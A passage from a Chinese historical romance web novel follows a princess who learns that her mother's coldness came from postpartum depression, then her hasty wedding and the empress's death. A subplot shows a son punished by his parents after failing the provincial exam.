连吴王都落得个被赐死的下场,她又岂有通天的本事? 那黑衣人,还会来救她吗?定然不会了,她已经没了半分用处,怎会值得对方浪费心力? 既然注定要死,那就走得体面一些吧。 她安安静静地吃着饭,将周遭的一切尽数隔绝在外。 只是不知看到了什么,赵书宁吃饭的动作微微顿住。 萧晏辞将这个消息告诉了陆知苒,又问,“你可要去见见她?” 临死前让赵书宁见到高高在上的瑾王妃,对她而言,是一场报复。 便是死,只怕她也会死得不甘。 陆知苒摇头,“她不值得我浪费时间。” 萧晏辞闻言,便不再多说。 三日后,赵书宁等重犯被押于菜市口行刑,围观百姓将行刑场挤得水泄不通,叫骂声一片。 行刑之后,血流成河,血腥味弥漫在空气中,久久不散。 这也让朝中官员们为之警醒,要避免步上此番后尘,便需保持本心,万不可做那鱼肉百姓的勾当。 不然,天网昭昭,任何人都休想逃得掉。 孙皇后的病还需要马兴义施针,是以,原本元宵之后就要返回封地的睿亲王得以暂时留下。 这段时日,萧宝珠哪里都没去,只守着孙皇后,寸步不离。 吴嬷嬷见此情形,总是禁不住偷偷抹泪。 短短的时日,萧宝珠瘦了一大圈。 原本丰盈饱满的脸蛋消瘦下来,露出了尖尖的下巴。 这日,她在帮孙皇后擦拭身子,发现她的手臂上竟有一道道深深浅浅的伤痕,看上去像是被刀划伤的。 萧宝珠愣住,吴嬷嬷连忙遮掩,但已经来不及了。 萧宝珠怒声质问,“这些是什么?你们便是这般伺候母后的?竟如此凌虐她?” 吴嬷嬷立马跪下,连声请罪。 “公主息怒,这,这些都是皇后娘娘自己弄的,是奴婢看顾不周,奴婢该死……” 萧宝珠声音颤抖,“是从何时开始?” 是因为大皇子之死吗? 吴嬷嬷跪在地上,低声开口,“是,是生下公主不久之后……” 萧宝珠的心狠狠一颤。 这些时日被粉饰的伤口,在这一刻又被无情的撕开了。 原来,母后对自己竟恨到了这般地步?恨到宁愿自虐? 吴嬷嬷见她失魂落魄的模样,慌忙解释,“公主,您千万别多心,皇后会如此并非是因为您……” 萧宝珠苦笑,“嬷嬷又何必安慰我?” “公主,奴婢并非安慰,而是实话实说,皇后她只是生病了。” 第378章 母女心结 萧宝珠的眼眸转了转,眼底浮出一抹不解。 吴嬷嬷抹了一把眼泪,这才开口。 “皇后娘娘生了公主之后,突然就变得情绪暴躁,忽冷忽热,夜半时分,皇后也总是睡不着,大声哭泣,有一回,她拿着尖刀对着自己的脖子比划,把奴婢吓得半死……” 吴嬷嬷现在依旧记得当时的情形。 孙皇后披散着头发,手里握着尖刀,一下下地剪着自己的头发,又时不时放在脖子上比划。 看到吴嬷嬷,她还问,“嬷嬷,你说,这尖刀从脖子扎下去,会不会死?” 自此之后,吴嬷嬷就把殿内的剪刀都收了起来,眼睛更是一错不错地盯着她。 但还是没防住。 她开始用簪子划自己的手臂。 那上面密密麻麻的伤就是这么来的。 还有一回,孙皇后抱着九公主走在城墙上,忽而道:“真想从这里跳下去。” 这样的例子数不胜数。 “那段时日,皇后无数次明里暗里想轻生,奴婢以为是中了邪,不敢惊动太医,只得想法子从外头请了神婆给皇后驱邪,但依旧不见成效。” “后来寻了一个民间游医替皇后诊治,这才得知,皇后这是病了,此症在生产的妇人身上常有,乃是血迷心窍引发的产后郁症。” “奴婢这才想起,前头大皇子出生时,皇后娘娘也有过类似的郁症。只是这一回,皇后娘娘的病症加重了。” “那游医说,要让病症缓解,需得把孩子和产妇分开,奴婢也担心皇后做出伤害您之事,便让您住到了西苑。” “皇后娘娘的病症断断续续持续了好几年,反反复复,不见根治,她待您的态度亦是十分冷淡,不愿亲近。但其实,皇后心中是有您的,病症好转的那段时日,她曾半夜到您的房中,抚摸您的襁褓落泪。” “这些年,您受了很多委屈,总有人嚼舌根,说皇后嫌弃您是公主,不喜您,那些都是有心人故意挑拨罢了。皇后不是不喜您,只是生病了,只是这病不能为外人道,只能藏着掖着,您别怨她……” 孙皇后花了五六年时间,才慢慢从产后郁症中走出来。 彼时,她与萧宝珠这个女儿已经生了隔阂,孙皇后习惯了冷淡待她,言语亦诸多挑剔苛责,萧宝珠对孙皇后也敬畏居多,母女终究渐行渐远。 唯恐萧宝珠不信,吴嬷嬷还说了另外一桩事。 萧宝珠掌管锦绣坊以来,一直都有条不紊,没有发生过半点纰漏。 但她不知道的是,其实这背后不乏孙皇后的助力。 陆知苒离开京城那段时间,锦绣坊被人钻了空子,在香料中动手脚。 幸亏孙皇后安插的人及时发现端倪,制止了此事,不然,问题香料卖出去,众人烂脸毁容,锦绣坊好容易积累起来的名声就毁了,萧宝珠这个领头之人,也脱不开干系。 “公主若是不信,可以去寻胡女官和白女官,她们都经手了此事。” 萧宝珠呆呆愣愣的,脑袋一片空白,许久都没回过神来。 她一直相信,眼见为实,但今日吴嬷嬷口中所讲述的故事完全颠覆了她的认知。 原来眼睛看到的,也不一定是真的。 萧宝珠的眼眶发涩,心口更是闷闷的,难受极了。 开口时,她的声音都不禁阵阵发涩。 “这些话,您为什么不早点说?” 吴嬷嬷叹息,“奴婢说过,但您听不进去啊。” 萧宝珠心头一梗。 的确,吴嬷嬷总会宽慰她,告诉她,皇后娘娘心中有她,但她当时年纪小,得不到皇后的关切和爱护,并不相信这些话,反而把旁人的挑拨当了真。 再后来,她长大了,心中生了叛逆,就更听不进吴嬷嬷的话。 吴嬷嬷两头劝,但没人肯低头,双方的隔阂也越来越深。 萧宝珠的眼泪终于忍不住,簌簌滚落。 最后,她趴在孙皇后的身上,嚎啕大哭起来。 而她身下的人,手指轻轻动了动,眼角亦有泪珠缓缓滚落。 狠狠哭了一场,萧宝珠就去御书房,求见德丰帝。 她脸上的泪痕犹在,眼眶亦是一片通红,再看她日渐瘦削的脸颊,德丰帝心头更加疼惜。 萧宝珠跪下,“父皇,儿臣有一件事,想请父皇答允。” 德丰帝连忙起身将她扶了起来。 “傻孩子,你快起来,有什么话好好说便是,父皇都答应你。” 萧宝珠哽咽道:“儿臣请父皇替儿臣筹办亲事,越快越好,儿臣及笄之后,想马上成婚。” 吴嬷嬷说,母后一直撑着一口气,便是想撑到她出嫁,不想她因守孝耽搁了婚期。 这是母后的心愿,自己便帮她实现。 她,或许是自己能为母后做的,最后一桩事了。 德丰帝闻言,心头亦是一阵酸楚。 他缓缓点头,“好,朕这便命钦天监和礼部择定婚期,马上筹办起来。只是,时间匆忙,恐怕要委屈你了。” 萧宝珠摇头,“儿臣不觉委屈。” 德丰帝看着她,觉得她一夕之间好似长大了许多,眸中多了许多坚毅果敢。 这让他觉得既欣慰又心疼。 本想宽慰几句,但任何话语都显得有些苍白。 有些情绪,需要自己消化。 礼部很快择定了她与孙牧之的婚期,就在三月初十,而她的及笄礼在三月初一。 两个日子如此接近,内务府和礼部有得忙。 今年的三月中旬,又是春闱,各地学子都会赶往京师贡院复考,朝中各部都要为此连轴转。 现在是一月二十,留给内务府和礼部的时间并不宽裕,每个人都绷紧了心弦,不敢怠慢。 本朝科举分外童试、乡试、会试和殿试。 童试并非正式科举,需经县试、府试和院试三场,全部通过者,方获得“生员”资格,即为秀才。 秀才才有资格参加乡试,考中者为举人。 举人参加会试,最后才是殿试。 每一场科考,都是一轮轮严酷的选拔,只有才学拔尖之人,才能成为那凤毛麟角中的一员。 陆君成如前世一般,顺利通过了童试,考取了秀才功名。 他的名次,比上辈子靠前了许多,直接晋升廪生之列。 廪生为成绩优异者,可领取廪膳。 廪膳虽不多,却是一个荣誉。 第379章 无人在意他的孝心 陆贯轩和方氏都很高兴,恨不得广而告之。 但他们没有高兴太久,在下一场乡试中,陆君成名落孙山了。 陆知苒收到这个消息,虽有些遗憾,却也没有太过失望。 前世便是如此,这辈子,并没有奇迹发生,他的悟性和学问并未发生突飞猛进的增长。 他有了秀才功名,还成了廪生,已经很不错了。 但陆贯轩和方氏却不这么想。 陆君成的落榜对他们而言,简直宛若天塌一般。 陆贯轩满面阴沉,“你院试的名次明明十分不错,怎么会落榜?陆家花银子送你上学堂,苦心栽培这么多年,你却名落孙山,你对得起陆家的栽培吗?” 今日本以为是能庆贺的大喜之日,方氏也被放了出来。 此时的方氏,与陆贯轩达成了一致,对陆君成展开了一场口诛笔伐。 “是不是考上了秀才,你就生了傲气,没有好好复习?” 这话引起了陆贯轩的共鸣,再看跪在那里,一动不动,闷不吭声的陆君成,他心中更加气恼。 “你个逆子,不好好教训你一顿,你只怕半点都不长记性!” 说着就要拿戒尺打人。 陆君成的小厮立马扑上去,护住了自家少爷。 “老爷,您不要打了,少爷每日都很刻苦,绝没有半分懈怠啊。少爷落榜,是因为……” 陆君成立马出声呵斥他,“广平,住嘴!” 他这番遮遮掩掩的态度,越发让陆贯轩怒火中烧。 “事到如今你还敢遮遮掩掩,有什么是不能说的?啊?你给我老实交代,到底是怎么一回事!” 广平不顾陆君成的阻拦,高声道:“老爷,少爷落榜,全是因为您啊!当日您打骂夫人,少爷上前阻拦,右臂被茶盏砸伤了,大夫说,伤了筋骨,需静养三个月不动笔,方可痊愈。” “可科举在即,少爷哪里敢懈怠?日日苦读到深夜,现在少爷的手臂非但没好,反而更加严重了,能撑着考完院试,已是极限,出考场之时,少爷的手臂都抬不起来了!” 这话让陆贯轩愣怔当场,方氏则立马上前,一把掀起陆君成的袖子,露出他的右臂来。 方氏的动作很急,也没有收敛力道,陆君成本就严重的伤处在拉扯间更加生疼,他的眉头蹙起,发出一阵倒吸冷气声,但方氏却毫不在乎。 她抓住陆君成的手臂,双目喷火。 她的眼底没有疼惜,只有对失之交臂的前程的懊悔与恼怒。 陆贯轩不愿担负这个责任,当即指着陆君成大骂,“你个拎不清的东西,明知自己的手如此重要,还不知爱惜,简直是蠢货!我怎么会生出你这么一个蠢东西” 方氏大怒,“你还敢推卸责任?若非你伤了他,君儿定然已经金榜题名了。” 陆贯轩反唇相讥,“呵,怪我?你才是罪魁祸首!如果不是你对我做下那等龌龊事,我又怎会对你动手?我没把你打死,已是手下留情!” 说完,立马转头吩咐下人,“来人,给我把这泼妇关起来,没有我的吩咐,不许她踏出房门半步!” 立马有人上前,架住了方氏的胳膊,将她往知春苑拖拽。 方氏奋力挣扎,却是挣脱不开,口中疯狂大骂,各种污言秽语不断。 陆君成麻木地跪着,这一次,他没有再挺身而出,维护自己的母亲。 他意识到,自己的维护换不来母亲的感念,他所有的孝心,都无人在意。 只有考取功名,能让他们对自己展露笑颜。 但这件事,却被他搞砸了。 陆贯轩冷冽的目光扫向他,带着一股恨铁不成钢的嫌弃。 “还跪在这里做什么?滚回去,给我把手臂养好。” 陆君成低低应了一声“是”。 他的腿已经发麻了,起身之时趔趄了一下,广平连忙扶住他。 陆贯轩又训诫,“这段时日虽不能用笔,但该看的书也不能落下,三年后,你若再考不上,我就没你这个儿子!” 陆君成再次应是,由广平搀扶着离开。 看着他那窝窝囊囊的样子,陆贯轩就更加来气。 一想到他是方氏所出,陆贯轩心中就满心厌恶。 但偏偏,他是自己唯一的儿子,陆家的香火,还要他来继承…… 明明厌恶极了他,却不能拿他怎样,反而要把家业交给他继承,这种感觉,让陆贯轩觉得憋屈极了。 不,他定要想法子治好自己! 陆家的这场闹剧,陆知苒很快便知晓了。 翠芙和丹烟听得十分不忍。 “少爷好可怜。” “他是老爷夫人的亲生血脉,他们为何不能好好待他?” 两个丫鬟想不通。 陆知苒对此心中十分清楚。 很快,方娇就会被接入京城,到时候,一切也能有个了断了。 陆知苒吩咐,“去拿些上好的骨伤药,给大少爷送去,要大张旗鼓地送。” 她是瑾王妃,她派人给陆君成送药,那些下人们才会有所忌惮,不敢苛待他。 她那渣爹亦是如此。 此事暂时落下帷幕。 科举一道,有人落榜,就有人金榜题名。 陆陆续续有学子入京,准备参加春闱,京城也慢慢热闹起来。 转眼便到了萧宝珠的及笄之日。 公主及笄,自然盛大。 晨曦初露,宫阙内外已张灯结彩。 萧宝珠端坐在长乐宫的鸾镜前,由司礼女官为她梳起第一缕青丝。 加服,乃及笄礼的重要流程。 初加素衣玉簪,二加锦绣华章,三加凤冠翟衣。 从素净的素衣,到华丽的海棠红织金大袖襦裙,最后是富丽堂皇的正红蹙金绣鸾鸟翟衣,萧宝珠也似经历了从青涩稚嫩,到沉稳端庄的蜕变。 翟衣如火,凤冠如山,恰似九天旭日初升,煌煌不可逼视。 皇后病重,柔妃为她额前点上一笔胭脂,目光柔和。 加簪、换服、醴礼,一应流程按部就班。 众人齐声贺道:“公主及笄,永绥吉兆——” 萧宝珠的目光在众人中搜寻,最后与那高大挺拔的男人目光碰撞,她的脸上不由飞上一抹红霞。 及笄礼成,德丰帝给她赐封号琼华,自此,萧宝珠便正式开府了。 第380章 天下无不散之筵席 公主府早就建好了,一应家具物件也都齐全,但要入住,还是得重新安置一番。 尤其这里还是婚房,就更要好生张罗装饰。 按照规矩,婚后,孙牧之要和萧宝珠一起住进公主府,而不是孙家,而且现在金水河巷的那处宅子,也住不开。 好在,上次孙牧之奉命前去衢州彻查过往举子被劫一案,立下了功劳,德丰帝便赏了他一处宅子和不少金银。 德丰帝这番赏赐,便是给孙牧之长脸,好让他娶萧宝珠的时候不至于太过寒碜。 甄氏现下就住进了那御赐的宅子里,亲自安排下人把各处都装潢起来。 哪怕萧宝珠婚后不住过来,也要好好装扮,无论如何,都不能让公主受了慢待。 转眼间,便是三月初九。 明日,便是萧宝珠和孙牧之的婚期。 今夜,萧宝珠依旧守在孙皇后的床边。 孙皇后在床上躺了一个多月,哪怕有众人精心照看,她依旧肉眼可见地消瘦下去。 眼下,整张脸已然变成了皮包骨。 萧宝珠见此情形,心中一阵难言的痛楚。 她伸手,轻轻地握住了孙皇后枯瘦的手,语气亦是无比轻柔,“母后,儿臣明日便成婚了,您能睁开眼睛看一眼吗?” 床上的人安安静静,毫无回应,只有手上微弱的脉搏让她稍感安心。 母后还在。 萧宝珠跟孙皇后说了许久的话,直到吴嬷嬷和秦嬷嬷都劝她早点休息,萧宝珠这才起身离开。 翌日,萧宝珠一扫先前的愁容,脸上重新洋溢起了明媚的笑。 今日是她的大日子,她要打起精神,漂漂亮亮地出嫁。 陆知苒等人来给她添妆。 叶寒衣一脸感慨,“你们一个个的,全都是我送出嫁的。” 几人一想,还真是。 她们几人出嫁,叶寒衣都来添妆送嫁。 陆知苒笑道:“怎么,恨嫁了?” “倒也不是,只是有些惆怅,日后我出嫁的时候,你们都不在,唉……过不了多久,我就要回滇南了。” 这话让众人心中都生出不舍来。 “怎么这么突然?” “我离开家已经一年,也的确是时候该回去了。” 也该回去好生商议亲事了。 叶寒衣见几人都生出不舍,气氛一时有些低沉,便笑了笑。 “今日是宝珠大喜的日子,愁眉苦脸的可不行。我虽然要走了但我又不是不回来,再说了,你们也可以去看我啊。” 大家都不想扫兴,便也都笑了起来。 只是,大家心里都知道,此次一别,再想见面,只怕不容易。 滇南天高地远,瘴气弥漫,她们的身子,到了那里可不一定吃得消。 就算日后叶寒衣与戈叙白成就良缘,她追随对方去了西平,与京城的距离也不近。 但天下无不散之筵席,分别是早就预见的。 大家很快说起开心的事,方才那点子惆怅不舍也很快消散。 吉时到,萧宝珠被送上了花轿,传入耳中的,是一阵阵喧嚣热闹的声音。 之后的流程按部就班地进行着,拜天地,入洞房。 盖头被掀开,萧宝珠的眼前陡然明亮,她对上了男人幽深的眼眸。 她一下就想到了那日在漱芳斋他说的那番话,耳根倏然红了。 她竟然真的嫁给了孙牧之,一切都像做梦一样。 喝了合衾酒,孙牧之去前头宴饮宾客。 他周身气质冷沉,带着一股严肃的气场。 但今日,他却格外亲和,唇角至始至终都弯着一抹笑,对旁人劝酒,他也来者不拒。 没人知道,他等这一天,究竟等了多久。 回到新房,孙牧之身上满是酒气。 他怕熏着萧宝珠,没敢往前凑,先去洗漱了一番。 再回来时,他周身的酒气一扫而空,整个人重新恢复了干净清爽。 萧宝珠也已经吃饱喝足,梳洗完毕。 卸掉浓厚的妆容,拆下繁复的发饰,她恢复往日清丽模样。 孙牧之目光落在她的脸上,觉得还是这般顺眼。 明明是自己的公主府,身边也都是自己的人,只多了个孙牧之,萧宝珠却觉得分外不自在。 孙牧之坐到了她的身侧,一双黑眸深深地望着她,带着浓烈炽热的情愫。 “公主,就寝吧。” 他的声音低沉,带着一股微微的哑意,叫萧宝珠的心头轻轻一颤。 萧宝珠被放在柔软的大床上,但孙牧之却并未覆身而上,只在她的身侧躺下了。 “皇后凤体未愈,公主定然没有旁的心思。我们不急。” 母亲告诉他,女子出嫁太早,于身子有害无益。 若是怀上身孕,更会对身子造成亏损。 孙牧之知道,他们的亲事本不该如此匆忙,一切皆因孙皇后之病。 她尚且似个未长大的孩子,自己不能为着一己私欲就不顾她的身子。 所以,他愿意等,等她再长大些。 他们未来的日子,还很长。 孙牧之的大手握着她的手,手心带着薄茧,更带着滚烫的热意,直烫进了萧宝珠的心里。 心头涌起一股难言的情绪,萧宝珠眼眶不禁阵阵发热。 她将脑袋挨着他的肩头,轻声道:“孙牧之,谢谢你。” 孙牧之什么都没说,只是紧紧地揽住了她的肩头。 萧宝珠本以为自己会睡不着,但没多久,她就沉沉睡了过去,呼吸均匀。 翌日,他们一起入宫拜见帝后。 德丰帝看着萧宝珠,面上满是慈和,同时心底又不可避免地生出几分怅惘。 再看向孙牧之的时候,他的脸上就多了几分冷肃。 “孙牧之,朕将掌上明珠托付给了你,你定要给朕好好待她,若你胆敢让宝珠受到半分委屈,那就不要怪朕对你手下不留情了。” 孙牧之跪下,虔诚叩首行礼。 “微臣定会视公主如珠如宝,若有违誓言,便叫微臣不得好死!” 萧宝珠心头一惊,慌忙伸手捂住他的嘴。 “你瞎说什么!快呸呸呸。” 孙牧之只是淡淡一笑,“我不会违逆誓言,并无所惧。” 萧宝珠依旧蹙着眉,到底不再说什么。 二人辞别了德丰帝,便立马去了坤宁宫。 萧宝珠的心绪有些不宁,脚步便快了几分。 待进到坤宁宫,一切都如往常那般,萧宝珠暗暗松了口气。 方才她心头莫名发紧,就好似,有什么意外变故要发生。 幸好,母后还好好的。 第381章 皇后薨逝 萧宝珠和孙牧之在孙皇后的床前跪下。 萧宝珠缓声开口,“母后,儿臣已然成婚了,驸马待儿臣极好。您今后,都无需再为儿臣担忧了。” 孙牧之亦是开口,“小子三生有幸,方娶得公主,往后余生,定精心呵护,断乎不敢让公主受半分委屈,还请……母后放心。” 床上的孙皇后安安静静,似没有听到。 只她的手指动了动,唇角也微不可查地勾了勾。 萧宝珠又与孙皇后说了很多话,这才离开。 她的心情依旧有些郁郁,孙牧之察觉到了,伸出手,与她十指相扣。 “母后知道你嫁了个绝佳好夫婿,定会高兴,也很快就会好起来的。” 萧宝珠嗔了他一眼,“没见过这般往自己脸上贴金的。” 孙牧之一脸认真,“我说的都是实话,我定会是个好夫婿。” 萧宝珠唇角翘了翘,但又很快扯平,免得这人得意。 二人就这般十指相扣地走着,行至宫门前,遇到了睿亲王,二人立马行礼。 睿亲王脸上笼着一抹淡淡愁绪,面容瞧上去亦比初回京时憔悴了几分。 他的目光在萧宝珠的脸上转了一圈,神色温和。 “皇叔还没当面恭贺你新婚大吉。” 萧宝珠对这位皇叔的感官不差。 每年生辰,她总能收到一份从蜀地送来的贺礼,便正是这位皇叔所赠。 她笑道:“皇叔昨日也到公主府喝了喜酒,送了贺礼,皇叔的心意我都收到了。” 睿亲王又问:“皇后娘娘可好些了?” 萧宝珠神色黯然几分,“还是老样子。” 睿亲王心头微涩,眼底亦浮起一抹痛色。 萧宝珠看到他眼底那抹真切的痛色,心头亦浮起触动。 这位皇叔是真心实意关心母后。 总算不枉费母后对他的那番照拂。 睿亲王扯了扯唇角,露出一抹勉强的笑,“至少,她还活着,只要活着,一切就都有希望。” 萧宝珠也似被鼓舞,原本满是阴霾的心头被撕开了一条缝,那抹名为希望的光芒照射了下来。 然而,就在这时,一个宫人匆匆而来,跑到近前便扑通跪下,声音悲怆。 “皇后娘娘,薨了。” 这话似一道惊雷,瞬间将他们刚刚升起的希望劈得稀碎。 几乎同时,沉重的丧钟自紫禁城的深处荡开,一声,又一声,如钝刀割裂凝滞的空气,也狠狠砸在人心上,闷痛得发慌。 萧宝珠身子狠狠趔趄,险些没站稳,幸亏孙牧之扶了一把。 睿亲王脸上的血色也尽数褪去,只余一片灰败与惨白。 萧宝珠趔趔趄趄地奔到坤宁宫,跑到了孙皇后的床前。 吴嬷嬷跪在地上,满脸是泪。 “公主,皇后了却了心愿,已然去了。您瞧,皇后脸上带着笑,可见她心里是高兴的。请您,节哀顺变。” 孙皇后的脸颊消瘦凹陷,只余下一层薄薄的面皮。 她的唇角是上扬的,带着明显的笑意。 只是这抹笑落在她那过于枯瘦的脸上,平添了几分诡异。 萧宝珠看着她脸上的笑,终于忍不住,大声哭了出来。 原来,自己这段时日对母后说的话,她都听到了。 她知道自己有了一段好姻缘,心中再无遗憾了,所以才这般了无牵挂地去了。 看到她哭,孙牧之的心头亦不禁揪紧。 他伸手将人揽入怀中,任由她的眼泪将自己的衣襟打湿。 “母后已然了无牵挂,便让她去吧,她现在这样,反而过得煎熬。” 萧宝珠知道,这一个多月以来,母后活着的每一日,都十分痛苦。 她只是心有挂怀,所以不肯离开罢了。 现在的离开,对她而言,反而是一种解脱。 但是,对于活着的人来说,这是一场难以割舍的离别。 从今以后,她真的没有娘亲了。 睿亲王不顾所谓规矩礼仪,也冲进了坤宁宫。 他见到了自己心心念念的人。 此时的她,已然被病痛折磨得不成人形。 想到她这段时日吃的苦头,睿亲王心头一阵尖锐刺痛。 悲从心起,两行眼泪不禁簌簌滚落。 丧钟传到宫外,百姓们当即换下了喜庆的衣裳,转而穿上了素衣,唯恐犯了忌讳。 萧晏辞和陆知苒面上都笼上一抹沉重,二人第一时间入宫,路上都没怎么说话。 在宫中,他们遇到了萧晏珩与邢初雪,还有四公主萧婉贞,八皇子萧晏临,大家都满面悲怆。 皇后的丧事持续了三日,一众朝臣和皇子公主皆在殿前守灵。 停灵三日,下葬皇陵。 皇上辍朝二十七日,百官服素服百日,百姓禁止婚丧嫁娶百日,军民摘冠缨一月。 而皇后丧葬之后没多久,便是春闱之期。 朝臣一时纷纷猜测,今年的春闱会不会推迟。 德丰帝下了旨,春闱如期举行。 皇后薨逝,举朝同悲,但逝者已矣,春闱乃选拔人才之大事,万不可耽误。 相信皇后定也不希望因为自己,影响了春闱。 得了皇上的明旨,各部官员如得金科律令,当即将春闱之事如常安排下去。 孙皇后的葬礼之后,萧宝珠消沉了一段时日,整个人肉眼可见地消瘦了。 孙牧之日日陪在她身侧,甄氏也带着雪团到了公主府,与她作伴。 萧宝珠能感受到大家对她的担忧,很快让自己打起精神来。 她一扫先前的颓靡,脸上重新露出了笑。 “母后定然也希望我开开心心,快快乐乐地生活下去,我不能辜负了她,也不能让你们所有人为我担忧。” 甄氏见她终于想通了,大松了口气。 “公主能想通就再好不过,你好好的,比什么都强。” 萧宝珠看着甄氏,“母亲,我都已经改了口,您也应当改口了,莫要再一口一个公主的叫着,委实生分。” 甄氏眼里闪出几分细碎的笑,“宝珠。” “欸!” 婆媳二人相视而笑,彼此心中都溢满了温暖。 甄氏想,她这一辈子没有自己的亲生孩子,但老天爷待她不薄,让她有了胜似亲生的儿子,又有了这般好的儿媳,原本心中那点子遗憾也早就被填满了。 萧宝珠则在想,她原本以为自己没有母亲的疼爱,但后来发现事实并非如此,母后也是爱她的。 现在,她虽然失去了母后,却又有了新的人疼爱自己,她应当感到知足。 第382章 睿亲王归还皇后旧物 叶寒衣终于要启程离京了。 原本是过了萧宝珠的喜宴,她就应当离开,但后来孙皇后薨逝,叶寒衣的行程便往后推迟了。 现在,孙皇后已经下葬,萧宝珠的心情也慢慢平复,她也能放心离开了。 临行前,几人聚在一处,为她饯行,大家都依依不舍,自不必说。 真正走那天,叶寒衣没有让大家送,一大早就出了城。 离别是感伤的,她不想看到大家哭哭啼啼的样子。 柔妃看着陡然空荡下来的宫殿,心中不由升起一抹惆怅。 “寒衣一走,我啊,便觉得身边冷冷清清的。” 锦瑟也很不习惯,只能宽慰柔妃,“日后寒衣小姐还是会进京来陪您的。” 柔妃幽幽叹气,“只怕那不知要到何年何月了。” 锦瑟只能又道:“待王爷和王妃生了小世子,小郡主,您身边热热闹闹的,只怕要嫌烦了。” 柔妃闻言不禁失笑,她倒是盼着那一日。 只是,皇后新丧,他们需得守孝,自己的孙儿孙女,只怕没那么快。 不过,心中到底有了盼头,不再似先前那般忧愁难过。 为了打发时间,她又重新开始调香,这俨然成了她不可或缺的精神寄托。 皇后丧仪结束,睿亲王也准备启程返回封地。 此次入京,他逗留的时间的确有些长了。 临行前,睿亲王向公主府递了帖子,萧宝珠当即迎了出来,客气招待。 他既是长辈,与母后之间又有一段过往渊源,萧宝珠无论如何都不能慢待。 见到睿亲王,萧宝珠又吃了一惊。 他比上次所见又苍老了许多,鬓边的青丝染上了明显的银色。 “皇叔,您……” 他对母后的死,似是比自己更加悲伤。 睿亲王勉强笑了笑,“长嫂如母,我每每想起皇嫂,心中便悲痛难言。” 萧宝珠的心头再次升起一股深深的触动。 同时还升起一股难掩的羡慕,羡慕幼时的皇叔。 他享受了自己不曾享受过的关爱。 正是因为得到过,所以失去了才会越发难过。 萧宝珠轻声道:“母后在天之灵,也定然不希望见到我们继续沉湎于悲伤。皇叔,请您节哀顺变。” 睿亲王目光深深地落在她的身上,语气不无感慨。 “皇叔惭愧,竟不如你豁达。” 他收敛了情绪,终于直入主题。 “我明日就要离京了,临走前,想来看看你,也有东西想送给你。” 睿亲王命下人端上一个不大不小的匣子,“这是几本书册,当年,本王病了一场,神志混沌,皇嫂便日日给本王诵读这些书,这上面还有她留下的批注。” “本王当年将它们带去了封地,而今,你才最有资格保管它们,本王便转赠给你。” 萧宝珠打开那匣子,拿出了放在最上面的《千字文》,看到上面熟悉的字体,眸中不禁有点点水光浮动。 睿亲王目光流连在那些书册上,眼底满是不舍。 但他知晓,自己必须要有所决断。 这段绮思本就不该有,现在,也应当做个了断。 人死后,要依照身前的功德被判官安排来世的人生,睿亲王不想因为自己的龌龊心思,让孙皇后的身上背负不该有的罪孽,影响了她来世的命运。 那晚,他与廖氏大吵一架之后,枯坐了一晚,然后就命人快马加鞭赶回蜀地,把这些东西取了来。 那些她亲手做的衣物,他会亲自处理。 但这些书,是她在世间留下的无可复制的痕迹,他不忍销毁,那便转赠给萧宝珠吧。 她定会好好保存。 看到萧宝珠的反应,睿亲王就知道,自己的决定没有错。 萧宝珠连忙将眼泪压下,又将书册重新放好,郑重道:“多谢皇叔相赠。” “这本便是皇嫂的东西,我也只是完璧归赵罢了。” 睿亲王又从怀中取出一方玉佩,这玉佩的形状十分特殊,乃双鱼形状,玉质亦十分晶莹透亮,一看就非凡品。 “这是我的一件私物,若有任何事,你派人拿此物到蜀地睿亲王府,本王定会倾力相帮。” 这玉佩不仅仅是一方普通的玉佩,更是他的一个承诺,以及他对萧宝珠一点微末的看护之意。 但他也盼,萧宝珠永远没有向自己求助的一日。 萧宝珠本不欲收,但若不收,便是拂了皇叔的一番好意,所以她便收下了,再次郑重道谢。 她留睿亲王在府中用膳,睿亲王婉拒了。 目送睿亲王离开,萧宝珠重新翻看起那些书册,心情有些难以平复。 那些书册,都是孩童启蒙的书,对于当时七八岁的睿亲王来说,其实有些幼稚了。 萧宝珠轻声开口,“这些,应当是我大皇兄启蒙所用的书册。” 她很少提及大皇兄,每每想起,脑中回忆的便都是自己不被偏爱的不公。 而今,她的心境豁然开朗,提起大皇兄,她的内心也平和许多。 “大皇兄夭折,母后深受打击,很久都没能走出来。皇叔觉得母后给了他无尽的关爱与呵护,但实际上,他的存在,也让母后的生活有了寄托,让她一点点慢慢从丧子之痛中走出来。我该感激皇叔。” 一个人没了活下去的寄托与希望,是一件非常可怕的事情。 睿亲王和孙皇后阴差阳错的这段母子情,成了两人彼此间的救赎。 孙牧之安静听着。 他素来话少,只安安静静地陪着她。 但有他在,萧宝珠便觉分外安心。 萧宝珠忽而道:“待我们有了孩儿,我便用这些书册给他们启蒙。我定会做个好母亲。” 她没有享受过的一切,都会努力地在自己的孩子身上弥补,绝不会让自己的孩子走上自己曾经的老路。 孙牧之闻言,眸色骤然一深,看着她的眼神也添了几分炽热。 他做梦都想与她生下孩子。 但是…… 不行。 孝期未过。 而且,她也太小了,不能那么快有孕。 孙牧之很快将绮念压下,伸手轻抚她满头柔顺的青丝。 “嗯,我也会做个好父亲。” 他们的孩儿,定会是世上最幸福的孩子。 萧宝珠又问,“你有没有想过去寻找你的亲生父母?” 孙牧之神色平淡地摇头,“不曾。他们既然已经舍弃了我,我与他们的缘分就断了,不必强求。” 他虽没有父亲,但母亲给了他全部的关爱。 他不需要再去从别人身上寻找寄托。 萧宝珠闻言,便不再多说。 第383章 帮她一把,让她折腾 转眼四月。 温暖的风裹着花香,将冬日的寒意一扫而空。嫩绿的枝头抽出新芽,阳光也渐渐有了温度,大地在细雨里苏醒。 会试顺利举行,之后便是殿试。 今年发生了太多事,德丰帝肉眼可见地苍老许多。 看着堂下那些朝气蓬勃的青年才俊,德丰帝身上的暮气才被冲淡。 这些,都是朝廷未来的栋梁之才,也是大齐未来的希望。 皇上钦点了状元、榜眼和探花,其余学子也都获了名次。 数十年的寒窗苦读,在这一刻,终于有了交代。 陆知苒更加关注的,却是另外一桩事。 “小姐,方娇被接回京城了。” 陆知苒眸光一动。 终于回来了。 她知道方氏的谋算,是想把方娇嫁给陆君成,如此,她们母女就能团聚了。 既如此,自己自然要帮她一把。 不给方氏折腾的机会,自己如何能抓住她的把柄,顺理成章地把此事揭穿? 陆知苒心中有了主意,只是这个法子需要用打着萧晏辞的名义,她不能擅作主张。 晚上,萧晏辞回来,陆知苒便将此事原原本本地道来。 此事过不了多久也会揭开,她没必要隐瞒。 先前不提,只是没有合适的契机,也不想平白提起,叫人扫兴。 萧晏辞已经算是见过大风大浪的人,但听到这番话,还是禁不住目瞪口呆。 